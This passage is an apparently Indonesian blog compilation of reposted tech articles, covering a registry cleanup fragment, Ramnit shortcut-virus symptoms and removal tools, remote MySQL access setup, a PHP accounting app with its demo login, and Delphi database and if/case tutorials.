SOLUSI nya adalah :
Hapus data value pada registry windows tersebut diatas dengan cara :
Pergunakan perintah REGEDIT (lebih baik anda menghubungi System Administrator di tempat anda)
Apabila sudah masuk ke aplikasi REGEDIT, lakukan pencarian dengan cara tekan tombol F3, lalu ketik "mysql.exe" lakukan juga untuk pencarian "apache.exe"
Hapus registry windows tersebut, perhatikan posisinya, apakah sama dengan HKEY pada petunjuk di atas.
Jika sudah anda hapus, lakukan proses RESTART komputer / laptop anda.

Sumber: http://m.facebook.com/note.php?note_id=147357218606&_ft_=fbid.147357218606

Artikel 18: Cara Menghapus Virus Shortcut Ramnit

Virus shortcut adalah jenis penggangu yang cukup tangguh, karena dapat menyebar ke semua bagian hardisk atau media penyimpanan lainya tanpa permisi. Pasti bikin anda bingung apalagi saat dicoba menghapus virus shortcut kembali lagi bermunculan. Bagaimana cara menghapus virus shortcut, akan saya jelaskan disini.

Cara kerja virus shortcut

  1. Setelah menginfeksi komputer anda, dia akan membuat file induk dengan nama database.mdb yang berada di folder MyDocuments.
  2. Virus ini akan membuat file autorun.inf pada setiap drive dan folder anda. dan biasanya menginfeksi komputer dari sebuah flashdisk.
  3. Virus ini akan membuat file thumb.db (note: untuk thumbs.db pada drive atau folder anda merupakan file cache dari komputer anda yang asli. Jika thumb.db merupakan database dari virus. hati-hati dengan perbedaan nama yang akan mengelabuhi anda.)
  4. Untuk menjebak korban, virus ini akan membuat file microsoft.ink dan extensi.ink disetiap folder drive. Jika anda mencoba untuk meng-klik file tersebut maka langsung akan mengaktifkan virus tersebut.
  5. Periksa Task Manager anda apakah ada file wscript.exe yang berjalan di system anda, jika ada matikan saja, karena dalam keadaan normal tidak ada file wscript.exe.

Cara menghapus virus shortcut

Membersihkan virus shortcut atau biasanya dikenali oleh antivirus sebagai Ramnit. Virus Ramnit merupakan virus yang cukup terkenal saat ini karena kemampuanya yang cukup membuat pusing pengguna komputer yang terserang virus Ramnit. Virus ini pun dapat menginjeksi ke dalam file .exe seperti hal yang virus sality. Berikut ini beberapa tanda terserang virus Ramnit.
  • Virus akan membuat browser Internet Explorer menampilkan halaman yang berisi penawaran iklan, game, dan terkadang gamabar porno dalam jumlah yang banyak secara terus menerus selama komputer terkoneksi internet.
  • Gejala selanjutnya adalah, icon removable media berubah menjadi icon folder. Setelah itu pengguna tidak dapat mengakses flashdisk tersebut dengan peringatan Access is denied. Dan terakhir muncul pula pesan Compressed (zipped) Folders pada saat mengklik drive tersebut.
  • Muncul banyak file dengan nama file ‘Copy of Shortcut to (1).lnk’ s/d ‘Copy of Shortcut to (4).lnk’ di flashdisk pengguna. File ini digunakan oleh virus untuk menggandakan dirinya ketika dieksekusi pengguna.
  • Salah satu hal yang unik dan membuat virus ini sangat mudah aktif dan sulit dibasmi adalah setiap kali user melakukan klik kanan. Selain menampilkan menu klik kanan, secara tidak langsung pengguna komputer juga telah menjalankan virus ini.
Selain ciri-ciri tersebut, perlu diketahui juga bahwa Ramnit juga memiliki file induk yang sudah dipersiapkan di direktori [%USB Flash%:RECYCLER%nama_acak%.exe]. Virus ini juga akan menjangkit file berekstensi exe, dan setiap file exe yang terinfeksi akan mempunyai ukuran 107KB lebih besar dari ukuran awalnya. Selain itu Ramnit akan menduplikasikan file tersebut di dalam folder yang sama. (sumber: vaksin)
Cara mengatasi Virus Ramnit adalah dengan menggunakan  berbagai Tools dengan nama yang bermacam-macam,s eperti: Ramnit Killler, Ramnit Cleaner, Ramnit Remover, Ramnit Removal.
  1. PCMAV Express for Ramnit, Tools ini sudah disediakan oleh PCMAV sebelum diluncurkannya versi PCMAV 5.2 bulan lalu
  2. Dr. Web Antivirus, antivirus ini memiliki kemampuan untuk membersihkan Ramnit dari file dan komputer yang terjangkit oleh virus ini, selain itu kemampuannya untuk membersihkan virus sality pun sudah tidak disangsikan lagi. Silakan download dari sini http://www.freedrweb.com/cureit/?lng=en sedangkan untuk Dr. Web Live CD silakan download dari sini http://www.freedrweb.com/livecd/?lng=en
Semoga berhasil!

Sumber: http://www.zainalhakim.web.id/posting/cara-menghapus-virus-shortcut-ramnit.html

Artikel 17:Akses Mysql Server Dari Komputer Lain Dalam Jaringan

Akses Mysql Server Dari Komputer Lain Dalam Jaringan

mysql-logoMySQL adalah sebuah perangkat lunak sistem manajemen basis data SQL (database management system atau DBMS) yang multithread, multi-user, dengan sekitar 6 juta instalasi di seluruh dunia. MySQL AB membuat MySQL tersedia sebagai perangkat lunak gratis dibawah lisensi GNU General Public License (GPL). Mysql digunakan dalam berbagai aplikasi, terutama aplikasi berbasis web. Salah satu yang memanfaatkan database mySQL adalah sistem manajemen konten (content management System, disingkat CMS) WordPress yang banyak digunakan oleh blogger dari seluruh dunia.
Kembali ke topik, saat development banyak kalanya diperlukan kolaborasi dalam mengelola database. Sehingga diperlukan remote akses terhadap database yang tedapat pada database server. Seting awal mySQL tidak mengijinkan akses mySQL server dari komputer lain walaupun dalam jaringan yang sama. Untuk dapat mengakses mySQL server dari komputer lain dalam jaringan yang sama, perlu dilakukan seting terhadap mysql server. Tutorial ini dibuat secara umum saja karena mySQL server dapat berjalan pada berbagai platform seperti Windows, Linux, FreeBSD, Mac Os X Server, Solaris, Amiga, dan masih banyak lagi.
Langsung saja file yang perlu diedit adalah file my.conf, pada baris bind-address, hilangkan tanda pagar didepannya, kemudian isi dengan alamat IP jaringan lokal komputer anda. sehingga menjadi bind-address=”192.168.10.1″ Kemudian restar servive mysql server, caranya tergantung platform yan anda gunakan. Sampai disini mysql sudah dapat diakses dari komputer lain yang terdapat dalam jaringn yang sama, namun database belum dapat diakses.
Selanjutnya adalah mengijinkan database diakses oleh suatu user dari luar server. caranya adalah dengan masuk ke mysql console, untuk turunan linuk dapat diakses melalui terminal, kemudian ketikkan mysql -u namauser masukkan password jika diminta. dari mysql console ini perintah sql akan kita eksekusi.

sumber: http://belog.praba.web.id/tiptrick

Rabu, 09 Januari 2013

Artikel 16: Source Code Sistem Informasi Akuntansi PHP MySql

Source Code Sistem Informasi Akuntansi PHP MySql

Artikel kali ini saya akan membahas tentang sebuah web yang saya buat yaitu tentang akuntansi online (E-Accounting). E-Accounting adalah sebuah Aplikasi akuntansi berbasis web yang digunakan untuk mengelola laporan keuangan sesuai dengan siklus akuntansi seperti Pencatatan, Penggolongan, Pengikhtisaran, dan Pelaporan.
Aplikasi ini saya buat menggunakan bahasa pemrograman PHP dengan database MySQL. aplikasi ini juga dibuat berdasarkan sebuah referensi buku yang membahas tentang pembuatan software akuntansi menggunakan visual FoxPro 9.
Tampilan

Usernama dan Password = agus

Neraca Percobaan

Jurnal Umum
Database

Database akuntansi_db
Aplikasi yang saya buat mungkin masih terdapat bug atau kesalahan logic. terimakasih jika teman-teman yang lebih mahir dalam bidang akuntansi ataupun dalam bidang pemrograman web dapat mengembangkan aplikasi ini demi ilmu pengetahuan.
Untuk login aplikasi E-accounting gunakan username dan password nya adalah agus. Anda juga bisa membuat akun login yang baru melalui PHPMyAdmin.

 Sumber: http://planetsphp.blogspot.com/2012/11/source-code-sistem-informasi-akuntansi.html

Artikel 15: Fitur LastInsertID (MySQL) Dan Returning (PostgreSQL) Pada Data Master-Detail

Fitur LastInsertID (MySQL) Dan Returning (PostgreSQL) Pada Data Master-Detail


Dalam pemrograman database MySQL dengan Delphi, atau pemrograman aplikasi Delphi dengan database  PostgreSQL, kedua fitur di atas akan menjadi penting dan sangat bermanfaat. Untuk melihat manfaat LastInsertID dan Returning ini, kita anggap bahwa kita punya dua tabel, yaitu tabel “ref_jenis_jurnal” yang menjadi tabel master:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
CREATE TABLE `ref_jenis_jurnal` (
    `id` INT(8) NOT NULL AUTO_INCREMENT,
    `jenis` VARCHAR(200) NOT NULL,
    `keterangan` TEXT NULL,
    `tabel` VARCHAR(50) NULL DEFAULT NULL,
    PRIMARY KEY (`id`)
)
COLLATE='latin1_swedish_ci'
ENGINE=InnoDB
AUTO_INCREMENT=5;
Dan sebuah tabel lagi, “ref_jenis_jurnal_rek” yang menjadi tabel detail:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
CREATE TABLE `ref_jenis_jurnal_rek` (
    `id` INT(8) NOT NULL AUTO_INCREMENT,
    `jenis_jurnal` INT(8) NOT NULL,
    `rek` VARCHAR(7) NOT NULL,
    `posisi` ENUM('D','K') NOT NULL,
    PRIMARY KEY (`id`),
    INDEX `FK__ref_jenis_jurnal` (`jenis_jurnal`),
    CONSTRAINT `FK__ref_jenis_jurnal` FOREIGN KEY (`jenis_jurnal`) REFERENCES `ref_jenis_jurnal` (`id`) ON UPDATE CASCADE ON DELETE CASCADE
)
COLLATE='latin1_swedish_ci'
ENGINE=InnoDB
AUTO_INCREMENT=14;
Perlu Dicatat Perlu Dicatat
Contoh tabel di atas adalah tabel-tabel dalam database aplikasi akuntansi. Bahwasannya kedua tabel di atas adalah tabel di database MySQL.
Nah, dari aplikasi Delphi, user dibolehkan membuat sebuah record untuk tabel “ref_jenis_jurnal” sekaligus record-record yang menjadi detailnya di tabel “ref_jenis_jurnal_rek”. Saat di-save nanti, yang pertama kita lakukan adalah memasukkan record master ke tabel master, lalu mengambil nilai field ref_jenis_jurnal.id untuk nanti dijadikan value pada field detail ref_jenis_jurnal_rek.jenis_jurnal.
Pertanyaannya, bagaimanakah kita mendapatkan nilai field ref_jenis_jurnal.id ini saat proses menyimpan data?
Di MySQL, setiap proses insert data ke tabel yang memiliki field primary auto_increment akan mengubah variabel global session LAST_INSERT_ID yang dapat diambil dengan fungsi MySQL “LAST_INSERT_ID()”.Di Delphi, fungsi ini tidak perlu kita panggil manual, karena banyak vendor 3rd party VCL Components sudah mendukungnya:
  • UniDac (Devart) telah mendukungnya dengan TUniTable.LastInsertID dan TUniQuery.LastInsertID;
  • MyDac (Devart) pun mendukungna dengan TMyTable.InsertID dan TMyQuery.InsertID;
Contoh penggunaan property LastInsertID pada UniDac dapat dilihat pada contoh kode berikut. Penggunaan pada MyDac tidak jauh berbeda.
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
procedure TForm1.Button1Click(Sender: TObject);
var
  ID: Int64;
begin
  UniTable1.TableName := 'ref_jenis_jurnal';
  UniTable1.Open;
  UniTable1.Append;
  UniTable1.FieldByName('jenis').AsString := 'Jurnal Pembayaran Listrik & PDAM';
  //..............
  UniTable1.Post;
  ID := UniTable1.LastInsertId;
end;
Dari situ, kita bisa melakukan insert untuk record-record detail dengan cara:
0001
0002
0003
0004
0005
0006
0007
//save reord detail:
  UniTable2.TableName := 'ref_jenis_jurnal_rek';
  UniTable2.Open;
  UniTable2.Append;
  UniTable2.FieldByName('jenis_jurnal').AsInteger := ID;
  //..............
  UniTable2.Post;
Pertanyaan lain akan timbul: Apakah tidak akan terjadi tabrakan pada fungsi LAST_INSERT_ID() ini? Di saat bersamaan dengan waktu kita melakukan insert ke tabel master, ternyata ada user lain yang juga melakukan insert ke tabel yang sama. Nilai mana yang akan dihasilkan oleh LAST_INSERT_ID()?
Jangan khawatir. MySQL memiliki mekanisme locking yang bagus sampai ke level record. Dan setiap koneksi yang berbeda akan diidentifikasi oleh MySQL sebagai session yang berbeda pula. Meskipun proses insert dilakukan oleh dua user pada saat yang persis sama, di server MySQL sendiri akan dilihat sebagai dua session yang berlainan, dan MySQL akan memilih salah satu session untuk diproses duluan, sementara yang lain akan disimpan dulu di cache. Saat salah satu session diproses dan yang lain menunggu inilah yang disebut locking (penguncian). Dengan mekanisme locking dan session ini, nilai field ref_jenis_jurnal.id yang dikembalikan oleh fungsi LAST_INSERT_ID() dijamin unik dan berbeda pada setiap session koneksi.
Kemudian, apakah PostgreSQL memiliki konsep yang sama? Sayang sekali, tidak!
Lho, sebuah server database yang disebut-sebut sebagai versi open source dari Oracle kok kalah sama MySQL? Tidak juga. PostgreSQL memiliki cara lain untuk menangani “insertion ID ” ini. Bahkan lebih canggih daripada yang ditawarkan MySQL. Untuk melihat seberapa canggih fitur PostgreSQL yang satu ini, silahkan perhatikan gambar di bawah:
Klik di sini agar mendapatkan sedikit gambaran.
Sudah fresh? Ok, kita lanjut.
Di PostgreSQL, tersedia sebuah keyword returning yang bersifat opsional saat kita melakukan insert ke tabel menggunakan query. Sayang sekali, kita akan sedikit kerepotan bila menggunakan komponen TDataset dan turunannya (TUniTable, TMyQuery, dsb.) untuk menginsert data. Tapi tidak masalah, karena saya pikir bahwa sebagai programmer Delphi berpengalaman, Anda akan memilih query untuk menginsert data, bukan TDataset. Tidak seperti saya yang kerjanya asal jadi :)
fitur Returning ini dapat kita gunakan seperti ini:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
procedure TForm1.Button2Click(Sender: TObject);
var
  ID: Int64;
begin
  //.................
  UniQuery1.SQL.Text := 'insert into ref_jenis_jurnal(jenis,...,...) values (...,...,...) returning id';
  UniQuery1.Open;
  ID := UniQuery1.Fields[0].AsInteger;
  UniQuery1.Close;
  //.................
end;
Lihat perintah insert SQL pada kode di atas? Ada “returning id” pada SQL itu. Maksudnya, begitu perintah insert berhasil, nilai field “id” yang baru dikembalikan lagi ke aplikasi kita. Kita dapat mengambil nilai ini dengan kode
0001
0002
0003
ID := UniQuery1.Fields[0].AsInteger;
//atau:
ID := UniQuery1.FieldByName('id').AsInteger;
Canggihnya, kita bahkan bisa melakukan return terhadapt field-field lain yang bukan auto_increment. Sembarang field lah pokoknya. Lebih hebat lagi, kita dapat me-return beberapa field sekaligus:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
procedure TForm1.Button2Click(Sender: TObject);
var
  ID: Int64;
  Jenis: String;
begin
  //.................
  UniQuery1.SQL.Text := 'insert into ref_jenis_jurnal(jenis,...,...) values (...,...,...) returning id, jenis';
  UniQuery1.Open;
  ID := UniQuery1.Fields[0].AsInteger;
  Jenis := UniQuery1.Fields[1].AsString;
  UniQuery1.Close;
  //.................
end;
Tinggal kita sesuaikan saja dengan kebutuhan kita. MySQL atau PostgreSQL? Itu urusan Anda, silahkan sesuaikan kebutuhan dan tingkat kompleksitas database yang Anda perlukan.

Sumber:  http://www.cenadep.org/wp-content/uploads/2012/09/Gambar-Penyegaran-Mata-Sebelum-Membahas-Delphi-dan-Database.jpg

Artikel 14: Percabangan IF Pada Delphi 7

Tutorial percabangan delphi dan contoh programnya

Tulisan kali ini adalah tutorial percabangan di delphi untuk pemula disertakan contoh programnya agar lebih mudah dipahami, di sini saya akan jelaskan sesederhana mungkin sehingga harapan saya tutorial ini menyenangkan bagi teman-teman pembaca yang membutuhkan dan benar-benar bisa membantu untuk memahami percabangan di delphi. Karena topiknya adalah bagi pemula dan penjelasannya sesederhana mungkin saya harap teman-teman tidak malas membaca karena akan saya jelaskan sedetail mungkin sehingga tulisan ini tentunya menjadi sangat panjang. Okey… siap belajar???? saran saya sih teman-teman baca sambil ngopi biar jreng!!… matanya atau sambil ngemil juga boleh haha…

Intro : Penjelasan percabangan di delphi

Percabangan dalam bahasa pemrograman disebut juga pengkondisian dalam menentukan keputusan(seleksi), sehingga bila kondisi tertentu memenuhi maka akan diambil keputusan berdasarkan kondisi yang terpenuhi tersebut. Dalam bahasa pemrograman delphi dikenal dua percabangan yaitu pernyataan if (if statement) dan pernyataan case of (case of statement), kalau dalam bahasa pemrograman VB dikenal dengan Select Case, dalam PHP dikenal dengan switch case sedangkan untuk pernyataan if sendiri semua bahasa pemrograman menggunakannya ( ditulis dengan kata yang sama yaitu “if” ).
Masing-masing percabangan di delphi tersebut bisa ditulis dalam berbagai format baik percabangan if maupun percabangan case of, dan akan kita bahas satu persatu hanya di tutorial percabangan delphi ini. Dalam percabangan if dikenal juga istilah if bersarang atau percabangan berantai istilah kerennya disebut nested if. Apa itu nested if/if bersarang/percabangan berantai? percabangan if dikatakan if bersarang bilamana statement if terdapat di dalam statement if, sederhananya “if dalam if”. Untuk lebih memahaminya nanti saya jelaskan di bawah dan juga saya berikan contoh program percabangan ( source code/script programnya ).
Nah sebelum ke pembahasan, saya mau tampilkan gambar program dari tutorial percabangan delphi ini :
Gambar tutorial percabangan delphi untuk pemula dan contoh programnya

Percabangan if (if statement) di delphi

Ada dua bentuk pernyataan if yaitu if…then dan if…then…else.
Cara/format penulisan if…then adalah if kondisi then proses;
Contoh 1 :
1
2
// kondisi          proses
if angka >= 60 then hasil := 'Bagus';
Cara/format penulisan if…then…else adalah if kondisi then proses1 else proses2;
Contoh 2 :
1
2
// kondisi          proses1               proses2
if angka >= 60 then hasil := 'Bagus' else hasil := 'Jelek';
Bisa juga ditulis seperti ini :
1
2
3
4
5
// kondisi
if angka >= 60 then
    hasil := 'Bagus' // proses1
else
    hasil := 'Jelek'; // proses2
Atau seperti ini :
1
2
3
if angka >= 60 then
    hasil := 'Bagus'
else hasil := 'Jelek';
Atau juga seperti ini :
1
2
if angka >= 60 then hasil := 'Bagus'
else hasil := 'Jelek';
Terserah teman-teman pilih yang mana karena itu sama saja.

Percabangan if untuk proses yang lebih dari satu

Nah bila proses yang akan dilakukan lebih dari satu, cara penulisannya harus disertai begin [proses-proses] end;. Contohnya sebagai berikut:
Contoh 3 (untuk pernyataan if…then) :
1
2
3
4
5
if angka >= 60 then
begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end;
Contoh 4 (untuk pernyataan if…then…else) :
1
2
3
4
5
6
7
8
9
10
if angka >= 60 then
begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end
else
begin
    keterangan := 'Nilainya Jelek';
    hasil := 'Jelek';
end;
Bisa juga ditulis seperti ini :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if angka >= 60 then
begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end else begin
    keterangan := 'Nilainya Jelek';
    hasil := 'Jelek';
end;
 
// Atau penulisan seperti ini juga tidak masalah biar tampak singkat
{
if angka >= 60 then begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end else begin
    keterangan := 'Nilainya Jelek';
    hasil := 'Jelek';
end;
}
Contoh 5 (contoh lain untuk pernyataan if…then…else) :
1
2
3
4
5
6
if angka >= 60 then
begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end
else hasil := 'Jelek';
Bisa juga ditulis seperti ini :
1
2
3
4
5
6
7
8
9
10
11
12
13
if angka >= 60 then
begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end else hasil := 'Jelek';
 
// Atau penulisan seperti ini juga tidak masalah biar tampak singkat
{
if angka >= 60 then begin
    keterangan := 'Nilainya bagus';
    hasil := 'Bagus';
end else hasil := 'Jelek';
}
Ingat untuk contoh 4 dan contoh 5 tidak ada tanda titik koma sebelum else (antara end dan else) karena masih dalam hitungan satu blok atau satu barisan kode program.

if bersarang di delphi

Seperti yang di jelaskan di atas, if bersarang atau percabangan berantai adalah if di dalam if. Berikut syntax penulisannya :
if kondisi1 then if kondisi2 then proses1 else proses2;
Dalam penjabaran atau pengerjaan prosesnya ada dua cara yaitu :
if kondisi1 then [ if kondisi2 then proses1 else proses2 ];
if kondisi1 then [ if kondisi2 then proses1 ] else proses2;
Contoh 6 (Penjabaran I) :
1
2
3
4
if angka >= 60 then
    if angka < 80 then hasil := 'Bagus'
    else
        hasil := 'Memuaskan';
Atau bisa juga ditulis begin [ pernyataan if ] end; seperti ini :
1
2
3
4
5
6
if angka >= 60 then
Begin
    if angka < 80 then hasil := 'Bagus'
    else
        hasil := 'Memuaskan';
end;
Contoh 7 (Penjabaran II) :
1
2
3
4
5
6
7
if angka >= 60 then
Begin
    if angka < 80 then
        hasil := 'Bagus';
end
else
    hasil := 'Buruk';

Percabangan case of (case of statement) di delphi

Setelah membahas percabangan if, sekarang pembahasan kita mengenai percabangan case of, saya harap tetap semangat :) . Opss!!…. Kopinya udah habis belum, klo udah habis tambah lagi saja :D sambil lanjut membaca.
Oke teman-teman, percabangan case of memiliki format penulisan sebagai berikut :
1
2
3
4
5
case selectorExpression of
    caseList1: statement1;
      ...
    caseListn: statementn;
end;
Percabangan case of juga bisa memiliki else seperti ini formatnya :
1
2
3
4
5
6
7
case selectorExpression of
    caseList1: statement1;
      ...
    caseListn: statementn;
else
    statements;
end;

Penjelasan case of dan peraturan

  1. selectorExpression adalah ekspresi atau yang terpilih dan harus berupa angka dengan tipe ordinal, tidak boleh bertipe string. Tapi jika teman-teman ingin tahu bagaimana triknya case of menggunakan string, silahkan baca di tutorial membuat percabangan case of di delphi 7 menggunakan string yang sudah saya tuliskan sebelumnya.
  2. caseList adalah daftar pilihan.
  3. statement adalah proses yang akan dilakukan bila kondisinya memenuhi.
Adapun peraturan-peraturan/kriteria yang perlu diketahui adalah sebagai berikut :
  1. selectorExpression harus berupa angka dengan tipe ordinal, tidak boleh bertipe string.
  2. Setiap caseList memiliki bagian dari salah satu sifat berikut:
    • Berupa angka atau sebuah konstanta dengan tipe data ordinal.
    • Nilai caseList adalah unik antara caseList yang lainnya, jadi tidak boleh sama.
    • caseList bisa memiliki subrange. Misalnya pertama..terakhir dan nilai pertama harus lebih kecil atau sama dengan terakhir.
    • Dapat memiliki bentuk item1, …, itemn dimana item sudah memenuhi salah satu kriteria yang sudah disebutkan di atas.

Contoh percabangan case of

Contoh 8 :
1
2
3
4
case angka of
    1: keterangan := 'Angka yang dipilih adalah 1';
    2: keterangan := 'Angka yang dipilih adalah 2';
end;
Nah berikut adalah contoh gabungan dari kriteria yang sudah saya sebutkan di atas :
Contoh 9 :
1
2
3
4
5
6
7
8
case angka of
    1: keterangan := 'Angka yang dipilih adalah 1';
    2: keterangan := 'Angka yang dipilih adalah 2';
    3..5: keterangan := 'Angka yang dipilih mulai dari 3 sampai 5';
    6, 8, 9, 11..20: keterangan := 'Angka yang dipilih adalah 6 atau 8 atau 9 atau dari 11 sampai 20';
else
    keterangan := 'Angka yang dipilih tidak dalam daftar';
end;
Bila percabangan case of ini memiliki proses/statement lebih dari satu bisa ditulis menggunakan begin [proses-proses] end;, berikut contohnya :
Contoh 10 :
1
2
3
4
5
6
7
8
case angka of
    1: keterangan := 'Angka yang dipilih adalah 1';
    2:
    begin
        keterangan := 'Angka yang dipilih adalah 2';
        keterangan2 := 'Angka tersebut adalah bilangan genap';
    end;
end;
Saya yakin teman-teman yang pemula pasti bingung dengan syntax-syntax di atas, tidak usah bingung pada intinya percabangan di delphi ini hanya dua yaitu if dan case of. Pernyataan if yaitu if…then dan if…then…else serta if bersarang(nested if) sedangkan case of ya seperti yang sudah di jelaskan di atas, jadi sebenarnya tidak begitu rumit hanya cara penulisannya yang perlu di mengerti selain dari logikanya itu sendiri. Saran saya biar mudah mengerti tuliskan rangkumannya di buku catatan, pengalaman saya belajar dengan cara tersebut lebih memudahkan dalam proses pemahaman.
Setelah membaca penjelasan case of dan peraturannya di atas, mungkin ada di antara teman-teman masih ragu-ragu dan bertanya dalam hati, apakah bisa percabangan case of menggunakan string? sekali lagi saya menjawab bisa!…, namun memerlukan trik tersendiri.

Sumber: http://blog.get4buy.com/2012/03/26/tutorial-percabangan-delphi-dan-contoh-programnya/